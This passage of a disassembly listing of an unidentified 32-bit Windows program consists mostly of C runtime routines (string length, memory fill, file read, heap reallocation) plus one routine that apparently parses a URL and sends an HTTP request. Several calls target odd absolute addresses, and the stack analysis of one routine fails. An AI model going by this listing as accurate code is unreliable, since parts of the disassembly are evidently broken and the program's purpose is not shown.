		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A030
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB05C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CAE38
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A194
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A18C
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------


loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A188


loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------


loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A184
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A140
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A274
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CAE70
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAF48
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CAF3C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CAEE8
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A258
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A21C
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A200
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------


loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A1D4
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A1A4


loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h


loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CAFA8
		push	[ebp+var_4]
		call	dword_4CAFA8
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2790000h


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DC900
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2830000h
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C2F4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2830000h
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB2FC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		call	near ptr 2830000h
		nop
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB2FC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DC908
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DC900
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C2F4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
